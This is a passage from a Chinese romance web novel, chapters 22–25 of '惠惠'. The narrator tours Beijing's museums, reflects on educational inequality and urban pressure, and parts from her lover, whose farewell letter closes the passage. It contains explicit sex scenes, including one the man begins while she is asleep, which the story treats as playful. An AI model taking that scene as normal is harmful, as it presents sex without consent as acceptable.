图片载入中

惠惠(22-25)

特大字】 【大字】 【中字】 【小字

(二十二)我们火速收拾完衣服退了房,然后直奔我的教工宿舍,路上邢路打电话给机票代理商,他坐的航班还有票,邢路问我第一次坐飞机,要不要定个头等舱,会舒服点?我摇摇头:“不要,我和你坐在一起就行。”不如意外的,我真的晕机,飞机颠簸的时候,我开始怕的要死,邢路静静的握住了我的手,我心里一下子就安静了,怕什么呢,掉下去也是和他一起摔死,那就一了百了了。只不过,飞机降落时,我还是非常的难受,耳膜鼓得要胀破的感觉,头疼,恶心,邢路让我张大嘴,使劲吞咽唾沫,还给我按摩耳垂下面。最后我还是吐了,还好飞机上给配了呕吐袋,还好上次坚持拒绝了跟邢路去新疆的旅行,那次可比这次飞行时间长一倍。邢路在北京的房子超大,邢路说是朋友的房子,朋友出国了,他帮着照看,我想问是不是盘颖的房子,但是犹豫了一下没有问。晚上,邢路问我想去哪看看,我列了一个表:国家博物馆,自然博物馆,北京博物馆,工艺美术馆,天文馆,科技馆,国家图书馆,地质博物馆,孔庙国子监,故宫,天坛。邢路笑了:“惠惠,你以为北京是惠州啊,一周时间,你看不完的。”啊,一周都看不完啊,我促狭的看着邢路:“我月经还要将近十天才来呢,你想不想我多呆些天?”邢路哈哈大笑的把我抱起来扔到床上,我有些害怕:“邢路,我刚坐完飞机,身体还有些虚弱,而且,我下面很疼……”邢路却不管不顾的压到我身上,笑眯眯的说:“我会温柔的。”我也笑了,伸出双手抱住他:“不用……”再疼又怎样呢,我从来都不喜欢温柔的做爱。然后,有些尴尬的事情出现了,邢路有些硬不起来……我拒绝了邢路让我用嘴帮他的要求,开心的把他拉起来,到浴室一起洗澡,然后回到床上躺着聊天真的是疲惫了,没有聊多久,我就靠在邢路的怀里睡着了,好久没有这么放松惬意的睡了,睡的好香好沉。只是半夜的时候,我被邢路弄醒了,我感觉了一下,胀胀的,邢路居然已经侧卧着插进来了,我很郁闷,我睡的也太死了吧。邢路看我醒了,在我耳边笑嘻嘻的说:“我又硬回来了。”唉,邢路,你这绝不是因为欲望而做,你就是觉得晚上丢脸了,想找回来我没好气的说:“明天周一啊,大半夜的折腾,你不上班了?”邢路说:“我请了一周假,陪你好好逛逛。”我啊了一声,这么好啊,然后眉开眼笑的对邢路说:“那你用力点……”

邢路很快乐的把我翻成背入式开始用力抽插,然后很快乐的射到我的里面我埋怨道:“连个套子都不带,又得我自己清理。”邢路做了亏心事,笑着说:“家里没有女人,肯定没有备着,明天我们出去顺便买回来吧。”然后,第二天我们两个很默契的谁都没提买套子的事,后来在北京的每一天里,我们都有做爱,然后都射在里面了……北京真的好大啊,第二天早晨,邢路叫了辆帕萨特来接我们,开车一个多小时才带我们到了国博,然后给了司机100块钱,我看的好肉疼,我一天也才挣100多点啊。邢路说开了那么久,人家还要开回去,少了不合适。我跟邢路说:“不是说北京的地铁两块钱随便坐么,我们坐地铁吧。”

邢路看着我,表情怪异:“惠惠,你真的要坐地铁?”我点点头:“我又不是千金小姐,为什么不能坐地铁。”邢路无奈:“好吧,明天带你坐地铁。”我觉得莫名其妙,好像很有玄机似的。国博好大,我一天居然没有看完,站在走了一天,真的好累啊。不过,真的好开眼界,原来历史能离我这么近啊,原来北京人的头盖骨是这样的,吴王越王的佩剑是这样的,秦王的虎符是这样的,宋太祖给吴越王的免死铁券是这样的,啊,他们竟然把岳飞庙前的跪像也都搬来了,秦墓的兵马俑也搬来了,真是太喜欢这里了。好迷恋三楼的青铜馆,那些国之重器,不到旁边亲眼看到实物是完全体会不到那种震撼的。那些青铜的大鼎,大镬,编钟,突然感觉鲜活的场景重现,后母戊、大盂鼎、子龙鼎,三件镇馆至宝,真的直接能体会到那种历史的厚重感我就这样,认真的听着电子导游器里的每一个讲解,在每个展品前驻足仔细观摩,我晕机又不喜出行,这可能是我唯一的机会了,要尽可能记住这些珍贵的东西的样子。邢路就一直静静的跟着我,淡淡的看着我,有很多时候,会突然拿出手机找个角落里接电话。然后,晚上邢路带我去后海的全聚德吃了烤鸭,还看了变脸表演,邢路点了整只烤鸭套餐,服务员善意的提醒我们,两个人吃不了,邢路笑着说:“没事,我饭量大。”我一副若无其事的表情,仿佛和我完全没有关系。全聚德的烤鸭真的好吃啊,拿小薄饼裹上鸭肉,葱丝,青瓜丝,沾上酱,一点都不腻,皮酥酥的,好香邢路又是吃了一点就不吃了,我一边风卷残云般的清扫着剩下的食物,一边取笑邢路,吃那么少,不还是长胖么。邢路看着我一直没变的身材,羡慕的叹了口气。打车回去的路上,我笑嘻嘻的附到邢路的耳边,悄悄说:“吃的好饱,我体力完全恢复了,晚上我在上面吧。”邢路莞尔,悄悄牵住我的手。周一只看了国博的历史中国、青铜、瓷器、玉器几个馆,周二早晨拉着邢路继续去国博,但是这次我坚持要坐地铁,邢路微笑的看着我点头。然后,我才知道,原来北京地铁早上可以这么多人!13号线简直疯了,我等了过去三辆车才站到最前面,终于到我和邢路了。然后又过来一辆列车,我犹豫了一下,怎么这么多人,车厢里一点地方都没有啊,怎么上去呢,就在我犹豫的时候,旁边有两个人拼命挤上去了,车开走了又等了一辆,比刚才的还满,人都成相片了,怎么上的去呢,然后又有人挤上去了,车开走了。我无奈地回头,对身后的邢路说:“帮我,下一趟一定要上去。”邢路微笑的点了点头。下趟列车来的时候,人还是那么多啊,地铁门一开,邢路很熟练的拉起我的胳膊,然后侧身向人群里撞去,没错,是撞过去!然后硬生生的撞出一点空间,把我也拉上了车。地铁门就贴着我的脸关上了,我有些不可思议的看着邢路,邢路一脸坏笑。我傻傻的问他:“你每天早晨都要这样?”邢路微笑不说话,我猜到答案了,心里唉了一声。邢路这种把时间当生命的,早晨那么堵,他肯定宁可在地铁里挤也不愿意坐车的。然后换乘了,我松了口气,然后,怎么5号线的人也这么多……然后,为什么2号线人也那么多,北京难道就没有人少的地铁么。从地铁出来,我灰头土脸的跟邢路说,我们回去时候坐公交吧,地铁挤的也太夸张了,邢路笑着点头说好。后来我们当然没有坐公交,我一看到等公交的乌压压的人群,立刻就决定放弃继续坐地铁了,地铁起码不堵车……讨厌死邢路在一边的坏笑了……今天把剩下的场馆都看了,尤其是美术作品馆,正好有张大千齐白石的画作专题,我呆在那看了好久,邢路脸色很奇怪的样子,问我:“这些画画的怎么个好法,你能给我讲讲么,我实在看不出来。”我看着那副极为简陋粗鄙的对虾图,很困难的摇摇头:“我也看不出来。”

邢路笑着问我:“那他画的比你画的好么?”我一副很认真的样子:“这个没法比的,他是国画,我是漫画,不是一个流派。”邢路忍不住哈哈大笑:“哈哈哈哈,原来不是一个流派的,哈哈哈哈。”

我脸皮很厚一点都没有不好意思,跟着邢路哈哈笑了起来,笑够了,我很正经的对邢路说:“我绘画水平肯定比张大千差的很远,但是我的人品肯定比他高很多。”“哦?”邢路很有兴趣的看着我。我笑着说:“张大千是古往今来,第一古画作假高手。他自己收藏名画古画,然后临摹完,把真的留下,临摹的当真的卖了,他绘画水平太高,完全可以以假乱真,坑了不少朋友。所以,我在人品方面很鄙视他。”邢路愕然失笑。周三去的是北京的自然博物馆,周四去的是中国科技馆,周五去的是国家图书馆和天文馆,周六去的是地质博物馆和工艺美术馆,周日去的是故宫,我实实在在的被北京的财力震惊了,在我以为两个小时就能逛完的地方,几乎都需要至少一整天的时间去吸收和消化。在天文馆,恰好赶上新建的天象厅落成,我被全天域的球幕投影惊呆了,原来星空会如此深邃、辽阔、美丽,邢路在旁边跟我解释说这是全球最好的天象厅,用的德国最好的蔡司天象仪,和美国最好的全天域投影,实现的分辨率超过普通影院的10倍以上,我真的被震撼的说不出话来。地质博物馆,我被五颜六色的矿石快闪瞎了眼睛,放射状的、层片状、波纹状、结晶状,或圆润或嶙峋的各种纹理形态,配合各种深沉或妖异的颜色,我突然想起当时跟邢路说的三色觉的理论,觉得自己好浅薄。突然想起自己曾想要的钻戒,那个小钻石放到这里,应该一点光彩都没有了吧,恰恰就会应了那句话吧:米粒之珠,也放光华?我无限的感慨,天文地理!天文地理!作为一个文科生,却只有在这样的环境下,才真真体会到这个词的含义,才真正感知天文地理的魅力吧。在自然博物馆,我站在几具完整的恐龙化石骨骼下面,拼命抬起头仰望着比我大几十倍上百倍的身躯,幻想着那时的古大陆的霸王身影,看到比现在的大象还要大的巨犀、雷兽、勐犸的化石,邢路说,还有种大地懒,这里没有,但是比这几个古兽体型还大,我睁大了眼睛,有些呆了,我实在构思不出那个哺乳动物刚统治世界时的场景。我看着邢路,说:“看来生物的进化趋势是逐步小型化?”邢路点头:“是的,小型化的生物消耗更少的资源,更能适应环境的变化。”

我笑了:“那我不用在你面前自卑了,我这种一米五八的才是进化方向。”

邢路点点头,一本正经的附到我的耳边,轻轻说:“你这种身高体重,做起来最舒服了。”我的脸一下子红了,我使劲掐了他一下,怎么样也不能在这么神圣的地方讲下流的话啊。在科技馆,最吸引我这个文科生的,居然是数学、物理、机械那种基础科学的展厅,如此丰富的道具,完美还原了各种实验现象,当时上学时那么多抽象难懂的定理,就这样被如此简单的理解了,那么多三角公式,就在几个盒子的水倒来倒去之间,被证明了。我无力的摇头,原来理科生的世界这么有趣啊,我抬头对邢路说:“如果我当年能够来这看几次,说不定我就选理科了。”邢路耸耸肩:“一次几率35%,三次几率就是105%,你还是放过你那帮学生吧。”我不满的瞪了他一眼,却无法反驳,因为我至今还是弄不懂究竟该怎么算邢路笑着说:“科技馆正在建新馆,也是我重点在跟的项目,明年或者后年落成,比这里大好几倍,会有很多新东西进来,还会有很多开放实验室和科普报告厅,每周都会有专项的科普讲座,那时候的科技馆会在全世界都是最先进的。”

我赞叹的摇了摇头。一周过得好快啊,我每天流连在这些神奇的地方,为了节省时间,中午随便吃点面包垫垫,晚上邢路就带我去吃各种好吃的,东来顺、烤肉记、眉州东坡、老北京炸酱面、还有簋街的麻辣小龙虾,还有各种奇奇怪怪口味的小吃,还有挺好喝的豆汁,只是不知道邢路为什么一口都喝不下。我记得好清楚,邢路看我端起豆汁的碗,抿了一口,然后一饮而尽的怪异表情,一副完全的不可思议不能接受的样子。邢路把自己碗里的豆汁抿了一口,确认和平时喝的东西是一样的,然后把他的那碗递给我,看我又咕咚喝了一大口,诧异的问我:“惠惠,你真的不觉得难喝?”我四顾了一下没什么人,小声说:“味道和你的精液是一个类型的,但是有种酸涩味,就比精液容易接受的多。给你吞了那么多次了,喝这个肯定没有任何问题。”看着邢路一副想要呕吐的表情,我哈哈大笑。周日的晚上,激情过后,我躺在床上,郁闷的跟邢路说:“邢路,这些天看了这么多地方,给我的打击好大。”邢路不理解的“嗯?”了一声。我轻轻的说:“邢路,你不是从事教学的,你理解不了惠州的教育资源和北京到底有多大的差异。我知道这几天只看到了北京的一个极小的部分,可是管中窥豹,我能想的到北京整体是什么样子。”我静静的继续说:“这种教学资源的差距大到了一种可怕的境地,我相信即使广州也比北京差的很远,北京零零总总的居然有一百多个博物馆,涵盖文化和科学的每个角落。每个区都有图书馆,有市图书馆,还有国家图书馆,国图里光古籍藏书就几十万册,超过惠州师院图书馆的全部藏书,那里居然可以看到善本的四库全书,我那时站在那里翻扫描件的时候,激动的都快哭出来了。文学历史,天文地理,自然、科学,在这里都可以直观的领略到,这对学生的影响太大了,原来凭想象很难理解的东西,这里就能眼睛直接看到,这对学习的促进是极大的。而且,最关键的是,这真的会让小孩找到自己的兴趣,让小孩知道知识和学习都是很有意思的事情,他们的眼界宽了,就会愿意学习,愿意探索,这些都是无价的。我们整天说素质教育,素质教育,没有这些,拿什么去做素质教育呢。我不知道这里的学校教学师资情况,应该也比别处高的多的多吧,北京的孩子,真的是得天独厚,从一出生就比别处的小孩占有了太多的资源,有太大的优势了,对别处的孩子,太不公平了。“邢路淡淡的补充:“北京的小学,中学,大学资源,都是全国最好的,而且,这边的高考录取分比正常省份低100分。”我拉住邢路的手,欲哭无泪:“我好像看到了自己的小孩,在未来竞争时候的那种无力感,太不公平了。”邢路突然很认真的对我说:“惠惠,要不要搬过来?我不一定能解决我们两个的户口,但我有办法搞定我们小孩的北京户口。”啊,我愕然,好大的诱惑啊,我的小孩如果能在这种环境下长大,该能考上很好的大学吧,在惠州长大,会不会像我一样,只考上惠州师院呢?我突然想起那个漫画工作室,我还没有回绝他们呢。我竟然有些兴奋:“邢路,你明天上班去吧,我自己去五道口那个工作室看看,回来再答复你。”

邢路点点头:“五道口的写字楼租金都很贵,google就在那里,那个工作室应该是很好的公司。”第二天,我坚持拒绝了邢路送我的提议,自己步行去了13号地铁站,等了三四趟车之后,终于拼命挤了上来。半小时后从五道口地铁站出来,给那个叫小碗的创意总监打电话,根据她的指引去找他们公司。邢路说的没错,五道口这边确实高楼林立,可是不对啊,为什么我越走越偏呢,最后走到一个居民社区里,然后走到一个居民楼下。我算了下,走到地铁站15分钟,坐地铁半小时,地铁出来走20分钟,上班差不多一小时,还可以接受。没有电梯,我爬上五楼时候都气喘吁吁了。这里果然就是他们公司,他们租了个居民楼的房子,所有人就在客厅里工作小碗是个短发女生,居然比我还要矮几厘米,让我特别有亲切感。小碗把我拉进她的卧室,我看着局促的空间里居然是上下铺,有些吃惊的问:“你们都住在这里啊?”小碗摇摇头,给我介绍,公司一共6个人,三个是联合创始人,另外两个是她的师姐,她们一起租下了这个三室一厅的房子。两个师姐都有男朋友了,住在另外两间卧室,她是单身就和一个女孩住在这个房间。公司唯一的男员工家在北京,没住这里,还有个女生住在本楼的地下室二层,如果我愿意过来的话,那里还有一个小房间给我,公司出钱。地下室?还是二层?我完全理解不了,不过没有露出任何表情,我问小碗公司的主要业务是什么,我很清楚,只凭画漫画绝对养活不起这个公司。小碗也有点难受的样子,说主要的工作还是给几个杂志社供长篇,但是还没有能打的很响的作品,所以平时会接一些广告公司甩来的订单,做些文案宣传工作,支撑工作室运作下去。谈到待遇,小碗说一个月4000,不过是不扣税的,她会找发票抵,然后有5%的股份,不能买卖,只有分红,5%的话,按去年的话会有5000块钱分红。将来公司被收购的话,会按持股比例分成。我没有说话,小碗以为我嫌少,告诉我,这是个创业公司,现在全公司所有人的工资都一样的。我并没有答应或者拒绝,反而问了另一个问题:“我一路走过来的时候,看到街边广告,这边的房子已经三四万一平米了,你们以后怎么办呢,两个师姐不可能和男朋友一直住在这里吧?”是的,我在惠州一个月3000多块钱,但是3000多块钱可以在惠州不大好的地段买1平米房子,北京房价可是惠州的十倍,而且还会不断上涨,小碗她们怎么可能买得起房呢。毕竟是QQ上聊过挺久,算是朋友了,小碗并没有瞒我,告诉我在北京所有年轻人面对这个事情都很迷茫,她现在只能寄希望这个工作室做大了赚很多钱,或者整个漫画行业火爆起来,大家的收入有大幅提高。我嗯了一声,说:“小碗,你能不能带我去看看那个地下室房间。”小碗点点头,带我出来,拉着我的手下楼梯。地下室的楼道很黑,小碗把我拉的很紧,就像是多年的好朋友一样。小碗拿钥匙打开门,看着那个潮湿阴冷的小房间,小碗有点不好意思:“地下三楼还有大些的房间,但是太潮了,公司现在没钱,只能租这种地方。”地下还有三楼……我牵着小碗的手,突然觉得心里很不舒服,前些天看到的东西,似乎一下就成了阳春白雪,原来这才是北京年轻人实实在在的生活。我问小碗:“晚上你有没有时间,我想找你聊些事情。”小碗说:“不用晚上,现在就可以啊,我们的工作都是弹性的,什么时候做都可以。”然后,我又被小碗牵着手从地下二层爬回五楼,在小碗的卧室里,我问了好多问题。原来在北京的生活真的很难,房价是横亘在每个年轻人面前的一道天堑,户口是另一道铁闸,因为小孩的学籍问题,很多人到了一定年龄就只能离开北京,这样也促成了北京一直是个年轻的城市。小碗也不知道自己的未来在哪里,还好目前这些人都是对漫画有热情的年轻人,可以吃苦,可以为相同的梦想去拼,拼一个机会,即使失败,起码大家也为梦想拼搏过了,她师姐最常激励大家的一句话就是不负青春。我问她除了这种创业公司,大公司的生活会不会好些,小碗摇头,告诉我她本来就是从大公司辞职出来的,她说大公司像她这种低级职员非常多,一般月收入三五千块钱,1000块钱在回龙观或者天通苑合租房里租个小单间,然后每天挤公交或者地铁上下班,而且大公司晋升慢,更加看不到希望,所以她才会和两个师姐一起创业。我拿过她的笔记本,打开我的邮箱,我画了些校园内容的四格漫画,一直没有放在博客上,只保存在邮箱。我拿来给小碗看,小碗看的眼睛一亮:“这个系列肯定会很受欢迎。”我摇了摇头:“小碗,这个漫画里就是我的生活,我只有在我那个安静的环境下,才能画出这样开心阳光的漫画,在这里我不可能单凭想象画得出来。”

我给小碗讲了好久我现在的生活,终于,小碗明白了:“惠惠姐,你不要过来了,只有心里非常安静恬和的人才能画出这样的漫画,北京不可能有这样的环境给你。姐姐,珍惜你现在的生活吧,你不知道我有多羡慕你呢。”我点了点头,把所有的漫画都发给了小碗,然后对她说:“我很喜欢你们,我缺少你们这样的热情和勇气,我没法加入,但我希望能和你们可以做很好的朋友。我画的漫画都送给你了,你怎么用都可以。”小碗居然扑过来抱了抱我,如果真的在一起工作的话,我们应该会成为很好的朋友吧。下午,我自己去了国子监,古代才子登科的地方,如果是上周,我一定又是一番臆想和憧憬,可是从小碗那回来,我却突然没有那种冲动了。晚上,我原原本本把今天的情况跟邢路说了,邢路只是很淡淡的说:“不要去那个公司,北京这种小创业者太多了,能撑过三年的绝超不过10%。”

我郁闷的说:“邢路,你怎么可以说的这么冷静,小碗她们真的好难,你怎么一点同情心都没有。”邢路无奈:“见得太多了,哪里还会在意。这里的生活,本来就是刀刀见血的,每个人都不会容易。”我哦了一声,不说话了,呆了一会,我问邢路:“明天我跟你去公司好不好,我想去看看你们高档写字楼工作的,都是什么样子。”邢路笑了,说公司不能带我进去,但是我可以去写字楼一楼的星巴克,所有人上班都会从那里走过。啊,就是传说中的星巴克啊,托邢路的福,我明天可以去蹭一杯咖啡了,我一直想体验下那些文字中坐在星巴克里啜着咖啡看书的真实感觉呢。邢路公司所在的地方叫嘉里中心,据说是北京挺高档的写字楼,我在一楼星巴克的柜台前,看着出乎我意料的价格,犹豫了一下,点了杯美式咖啡,这个看起来是所有咖啡里最便宜的了,邢路可能猜出了我的想法,没说什么,点了个大杯的摩卡星冰乐。原来美式是不加糖不加奶的纯咖啡啊,好苦,我喝了一口就皱起了眉头,邢路笑着把他手上的摩卡星冰乐给我,我吸了一下,好甜的巧克力味。我猜到这原本就是邢路为我点的,开心的冲邢路一笑,邢路也莞尔,拿起那杯美式来,喝了一大口,奇怪,他一口豆汁都喝不下,为什么却那么舒畅自然的喝那么苦的美式邢路告诉我,离这里不远,还有个叫华贸中心的地方,也是高端写字楼,建议我一会可以去看看,顺便在华贸下面的新光天地给自己买点想买的东西邢路拿出来一张黑色的卡片,犹豫了一下又收回去了,说那张卡可能审的会比较严,然后换了张金色的给我,让我记住密码。密码居然是我的生日???我疑惑的看着邢路,邢路有点尴尬:“这张卡是到北京新办的,要选个不是自己生日的六位数字,所以就随便用了个自己记的牢的。”我冲他促狭的笑了下,然后告诉他我自己也有信用卡了,有5000的额度,不用他的。邢路还是笑着坚持让我拿上,说有备无患。邢路拿着美式上班去了,我坐在椅子上,静静的看那些来上班的人流,来这里的都是精英人群,确实从衣着上就不一样呢,一个个的衬衫都好干净,人也都梳理的好整洁,原来邢路的样子在这里就是通用模式啊。可是,他们怎么一个个都那么身形匆匆,神色紧张,我看了快半个小时了,居然没有看到一个人是一路笑意盎然的轻松愉快的走进来的,他们的笑脸好像只有在遇到人打招唿的时候才会展现。还有,怎么会有那么多两鬓斑白的人,那么多头发谢顶的人,他们的脸都还那么年轻啊,这就是为成功要付出的代价么?周围桌上的人,不是在噼里啪啦的敲笔记本,就是三三两两的凑一起谈工作的,我悄悄听旁边桌上三个人说话,他们的讲话效率都好高,反应都好快,其中有个人的说话语气,方式还有用词都和邢路好像。我突然觉得身在这个地方,好孤单,他们都在那么努力,只有我自己放着暑假,然后优哉游哉的看人,时不时刺熘刺熘吸两口摩卡,感觉自己好有罪恶感。后来咖啡厅人渐渐少了,斜对面的两个人引起了我的注意,其中一个年轻一点的穿着长袖衬衫还打着领带,另一个人拿着几页纸,不停的在问他问题。他很紧张呢,虽然他表面上一副很自然的样子,扮演着一个专业又从容的角色,但是我也许是经历多了吧,一眼就能看出他的紧张来,他应该很想得到这份工作吧摩卡喝完了,我有些无聊的坐车到了华贸,这边居然也有星巴克,前面几个人都点的美式,我有些奇怪,这么多人喜欢喝美式啊,我有些好奇的也给自己点了一杯。然后,华贸中心也是一样一样的啊,进出的人也是那么神奇紧张,咖啡厅也完全被办公的人占据。还好这个店有室外的部分,我坐在大阳伞下看着远处的人来人去,静静的品尝手里的咖啡,确实很苦,但是喝到第二口的时候,我就发现我很神奇的适应了,然后慢慢的居然品出一些特别的味道,有点香?有点回甘?

我突然有些醒悟,那么多人喜欢美式,是因为这就是生活的味道吧。生活是苦的,但是生活的苦也可以享受,也可以从中品出不同的味道吧,我为自己这个发现激动不已。当然,这个想法当晚就被邢路击碎了,邢路说喝咖啡是为了提神,其他咖啡不是加糖就是加奶,喝了会胖,所以才喝美式,一杯咖啡哪有那么多的生活道理。后来,我端着咖啡在华贸下面无聊的四处逛,看见一个地方散落的站着很多人,好奇的走过去看,原来他们都是在抽烟啊,写字楼禁烟,他们就都来这里了可是,为什么里面有三分之一是女孩呢,她们穿的一看就很贵的工作服,抽的好多都是那种很细很精致的女士香烟,可是她们为什么要抽烟呢?压力吧?我暗自想着,心情又变的不好了,慢慢的往前走,都到新光天地百货的入口了,这就是邢路要我来买东西的地方吧,那就进来逛逛好了,看看大城市的商场有什么不一样。好吧,太不一样了,这里的东西,都好贵好贵,有些牌子我听说过,有些我压根都不认识。我本来还想给邢路选件衬衣,看了看没有下一千的,还不知道牌子好不好。有家很漂亮的长衣店,我随便翻了两个风衣的价签,都超过我信用卡的额度了,难怪邢路一定要我拿他的卡,难怪他笑的那么古怪。不过即使是邢路,上万块钱的长衣和几万块钱的皮包,也不是他能消费的起的吧,我才不买呢,我买了穿在身上,他再让我留下来,我就不好意思拒绝了好可恶的地方啊,在写字楼的下面卖这么高档的东西,然后在上面工作的人,无形中就会有特别大的压力了吧,整天浸淫在一件裙子一个包都上万块钱的环境下,永远会觉得自己挣得不够多吧。我最终在地下楼层找到了适合自己消费的东西,我在眼花缭乱的好多家西点店里,挑了几样东西,逃也似的离开了这个商场,我也没心思看其他的地方了,直接坐地铁回到了邢路的住处,站在邢路房间的落地窗前,痴痴的看着外面,原来这个繁华都市,里面的人是在这样生活啊。邢路回来的很早,我静静的问他:“这个房子在北京多少钱?”邢路说500万左右,我痛苦的摇摇头,500万,邢路税后收入也就40万吧,他不吃不喝也要十几年才买得起,而且,十几年之后,房子至少已经一千万了吧,也就是说,邢路永远也买不起这样的房子?好悲哀,一个五环外的200平米的房子,一个很优秀的打工者,却穷其一生的工资都买不起,那在这个城市的生活还有什么意义。我有点难过的对邢路说:“邢路,明天你能不能不上班再陪我一天,我订了后天早晨一早回广州的机票。”邢路怔了一下:“没问题,最近不忙,不过你为什么后天回去?”我低声说:“后天早晨有三折票,明天的最低七折……”邢路急忙解释:“我不是这个意思,我是说为什么这么着急回去?”我有点难受:“我呆的有些太压抑了。”我郁郁的说:“邢路,我在这里,完完全全看不到有像惠州那样轻松生活的机会,小碗她们是底层的那种难,你们这种是上层的难,每个人好像都要面对山一样的压力,急急忙忙,紧紧张张,我两天时间,竟然看不到一个人有那种放松而惬意的笑脸,我觉得这个地方太可怕了,我在广州都没有这种感觉的。”

邢路点点头:“有人说,北京是一个让人完全没有存在感的城市,是这样的。”

我拉着邢路的手:“我们明天哪也不要去了吧,我们在房间里做爱吧,这是北京能留给我最美丽的回忆了。”邢路点点头说好。最后这一天了,我们都知道这次真的是在一起的最后一天了,邢路把手机直接关机了,我痴缠着邢路,吻遍了他身上的每一寸肌肤。晚上的最后一次,邢路特别持久,我下面太火烫了不能再做,我用嘴来满足他,在他喷发的那一瞬间,我的嘴离开了,我握着他的坚硬,让他的种子喷洒在我的脸上。邢路一脸诧异,我却笑的很满足,A片里的标准流程,我和邢路终于全部做完了。机场离别的时候,我换完登机牌,快到安检的地方,邢路抓住我的手,轻轻的问:“惠惠,您真的不能留下来么?”我看着邢路,居然是从没有过的一脸乞求的样子,我心里很酸,可是我真的没法答应他啊。我最终还是摇了摇头,邢路很落寞的放手。我轻轻的笑了笑,打破了这个悲伤的气氛:“邢路,你其实还有很大希望的。”

邢路疑惑的看着我。我笑眯眯的说:“我现在那个还没来呢,昨天就该来了这次我们在危险期做了这么多次,如果有了,我可不舍得打掉。“邢路笑了,俯下身,在我的小腹边很认真的样子:“小家伙们,你们可要争气啊。”我哈哈大笑,然后邢路站起来用力的拥吻我,热吻中,是说不尽的温柔眷恋我冲他挥挥手,转身进入了安检通道。过了安检,在那个小门的缝隙中,我偷眼看去,邢路还在那里站着,我突然忍不住的潸然泪下。再见了,邢路,真的对不起啊,我怕了。我真的没有办法接受你的全部,盘颖说的对啊,爱上一个人最终就是爱上他的生活,请原谅我这一次的自私吧邢路,真的谢谢你,在大四那一段如梦似幻的日子里,对我的小心呵护,你对我不断的警醒,让我能守本心,不迷失在这物欲横流的花花世界,让我离开你之后,能自由的生活在平淡宁静的日子里。回到惠州的当天,我的月事就来了。危险期里做了十几次吧,我居然都没有怀孕,舒了一大口气,然后在QQ上告诉邢路,让他还是去查下精子的活跃程度,小心终身不育。邢路回复:“那好吧,惠惠,再见了。”我说好。邢路不再回话了,我不满的自语:几年的感情,告别就这么简单啊,男人还真是粗线条。半夜里,我起床喝水,无意中瞥见我要下载文件没关的笔记本上,邢路的头像在跳动,我好奇的点开一看,他发过来一个txt文件,为什么要在半夜给我发这个啊,我又好奇的点开文件读了下去。“惠惠,1点多了,你应该睡了吧,今天我反而睡不着了。惠惠,只是想告诉你,我发现,我爱上你了。惠惠,你总是说,我爱上的是有你的生活,却不爱你,我也一直这样告诉自己,直到这次,我真的确认,我爱上你了。只不过,爱上你,不是干柴烈火,而是细水长流。从第一次见面,我就很喜欢你了吧,你说既然我们已经上了床,还是互相认识一下吧,你不知道我那次笑的有多开心,我有多长时间没有那么笑过了我很喜欢你在我身边轻言笑语,我很少见到你这样真性情不做作的女孩,你让我不要歧视闻闻,不要歧视谢宇,你的良善让我觉得心很温暖。其实,在惠州时,有些场合是不需要你陪伴的,那时候只是我自己想见你了。你发给我裸照那次,我隔了半天才给你回消息,那是因为我很震动,我知道给一个男人发裸照,对于一个女孩子意味着什么。那次,我说谎了,照片比真人版诱人得多。我在惠州投标时,你住了过来,我真正的看到了你会因为我的焦虑而焦虑,我知道你是真正关切我的人,让我觉得商战也不是那么的冰冷。中标之后那早,我没有控制住自己,想要你,被你制止了,我才知道到你是对爱那样的认真与重视,在遮浪岛,听你说起给小珏讲的关于女孩第一次的那段话,我很严肃的警告你不要沉溺在成就感里,但是,你不知道那时我心里有多感动。惠惠,你冬天不舍得开空调,但是你有了些钱就把困难补助退掉了,那是我第一次开始钦佩你吧,但求心安,你说的很好。你在面试实校时选择出师表,你备课时让我看到了如此的严谨踏实,帮你准备综面时,听你讲述你之前的各种事情,原来你一直这么善良而要强。惠惠,当你来到广州,为我做出第一顿饭的时候,你可能想不到,这是我除父母之外吃到的第一顿自己家里做的饭菜,那一次我就告诉自己,我想娶这个女孩。在高要,你把我的双肩包背在自己的身上,我的这个欲望就更加强烈你去实校报到时,对我说,如果我去惠州,你对天发誓愿意养我一辈子,我无法接受自己这样做,可我那一刻,其实是心动了。你谈到北京奥运,你念秦爱纷奢的时候,我看到一个有自己的良知与主见的女孩,你到北京的时候,看博物馆,看科技馆,你讲司母戊的夔文,你讲张大千的丑事,你叹息教育资源的不公,那个时候,我站在你的旁边看着你,我看到你的成长,你仍然温婉善良,率性调皮,但是你是个有主见的知性女孩了,那时候我的心动了,那时候我的心跳,和盘颖第一次问我要不要陪她去旅行时是一样的,于是,我确认,我真的爱上你了。你说你羡慕北京的教育资源,羡慕在这里长大的小孩,我以为看到了机会前天,我让你去新光天地,我给你的卡有10万的额度,新光天地的一层有tiffany也有周大福,我多希望你会带回来一枚钻戒,但是你带回来的是几十块钱的面包。我终于知道,你想要的生活是什么样子。昨天晚上,你睡熟之后,我真的想要不要离开销售职位,可是,惠惠,你可能理解不了,我其实对自己没有信心,我不知道离开销售岗位,我还能干什么,我很难再找到技术工作,别的我又完全不会,我的年龄,已经让我没有了重头再来的勇气,我害怕从俯视飞翔的状态直接跌入尘埃,一蹶不振。也许是从小深入骨髓的教育,让我只能不断的坚持前行,我没法做到辞职到惠州靠你生活,对不起,惠惠。所以,当我看到你和我的销售生活完全不容时,我只能告诉自己,既然爱她,就放她去过她该过的生活吧。所以,当我真的爱上你的时候,我选择放手。惠惠,你在我的销售生活中,难受的不止是你,我也一样。当你知道我和小姐上床了,第二天一早还要勉强自己和我做爱时,你不知道我有多愧疚,当你听到谢宇的故事做噩梦,你不知道我有多想保护你,但是,我没有办法,我知道,我离你越近,对你的伤害越大。我吐在你身上那晚,我说我这样的人,不配你这么好的女孩,你让我喝醉了不要胡说八道,惠惠,那时我已经清醒了,我说的话至今还记得,你受的委屈,至今仍是我心里的阴影。惠惠,你描述的你现在的生活,我很羡慕,可惜我无福消受,但是希望你一直生活在这种安详宁静之中。有人说,陪伴是最长情的告白,但是对于你,惠惠,我的离开才是。我人生两次放手,第一次放手,盘颖没有了羁绊,从此遨游五洲四海,第二次放手,让你离开恐惧,拥有平静的港湾,这两次,我都绝不后悔。惠惠,请你一定好好的过好自己的生活,不要枉费了我的放手。惠惠,一路珍重。“看完了信的全文,我合上了笔记本,我抹了抹眼泪,嘟囔了一句:连个word都不写,txt的真没诚意。然后静静的站起身,把桌上的纸巾盒拿起来,放到床上,把纸篓拿起来,放到床边,然后拉开衣橱,把最厚的那床被子拿出来铺到床上,然后钻到被子里,把自己连头带脚裹得严严实实。然后,我就缩在自己的小空间里,嚎啕大哭。第二天早晨,我打开QQ,认真的告诉邢路,我会好好爱自己的,让他好好